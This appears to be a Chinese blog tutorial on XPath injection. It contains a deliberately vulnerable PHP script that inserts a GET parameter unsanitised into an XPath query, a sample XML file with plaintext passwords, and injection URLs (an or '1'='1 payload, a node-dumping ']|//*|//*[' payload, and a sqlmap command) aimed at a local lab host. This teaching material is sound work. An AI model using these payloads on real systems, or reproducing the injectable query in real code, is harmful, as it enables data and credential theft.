xpath简介之语法分析、注入实现&&Xml代码分析

xpath简介之语法分析、注入实现&&Xml代码分析

xpath简介：
一、xpath语法分析

介绍网址：https://www.w3school.com.cn/xpath/index.asp

Xpath Sql执行语句
Xml注入 xpath injection
XPath 语法
XPath 使用路径表达式来选取 XML 文档中的节点或节点集。节点是通过沿着路径 (path) 或者步 (steps) 来选取的。

XPath 运算符
XPath 表达式可返回节点集、字符串、逻辑值以及数字。

二、Xml代码分析

<?php 
if (file_exists('score.xml')){
        $xml = simplexml_load_file('score.xml');  //获取xml文件里面的数据
        if (isset($_GET['user'])){
                $user = $_GET['user'];
 
 
                //构造语句
                $en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score";
                $ch_scr = "//peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score";
 
 
                $en_qu = $xml -> xpath($en_scr);
                $ch_qu = $xml -> xpath($ch_scr);
                foreach ($en_qu as $key => $value) {
                        echo $user.':<br>english is '.$value;
                }
                foreach ($ch_qu as $key => $value) {
                        echo '<br>'.'chinese is '.$value;
                }
        }else{
                echo 'only have three user: vk, tom, helen.';
        }
}
?>

<?xml version="1.0" encoding="utf-8"?>
<root>
        <class num='1'>
                <peo name='tom'>
                        <subject>
                                <foo>english</foo>
                                <score>60</score>
                        </subject>
                        <subject>
                                <foo>chinese</foo>
                                <score>70</score>
                        </subject>
                        <password>qwer123</password>
                </peo>
                <peo name='helen'>
                        <subject> 
                                <foo>english</foo>
                                <score>24</score>
                        </subject>
                        <subject>
                                <foo>chinese</foo>
                                <score>34</score>
                        </subject>
                        <password>woaichishi</password>
                </peo>
                <peo name='vk'>
                        <subject>
                                <foo>english</foo>
                                <score>100</score>
                        </subject>
                        <subject>
                                <foo>chinese</foo>
                                <score>100</score>
                        </subject>
                        <password>vk123</password>
                </peo>
        </class>
</root>

三、Xpath注入实现
http://192.168.1.106:800/xpath/xpath_inject.php?user=vk

http://192.168.1.106:800/xpath/xpath_inject.php?user=e

http://192.168.1.106:800/xpath/xpath_inject.php?user=vk’ or ‘1’=‘1

http://192.168.1.106:800/xpath/xpath_inject.php?user=vk’] | //* | //*[’


sqlmap -u http://192.168.1.106:800/xpath/xpath_inject.php?user=vk --data user --level 5 --risk 3


后续操作请持续关注哦！！！
了解更多请关注下列公众号：
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗

😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗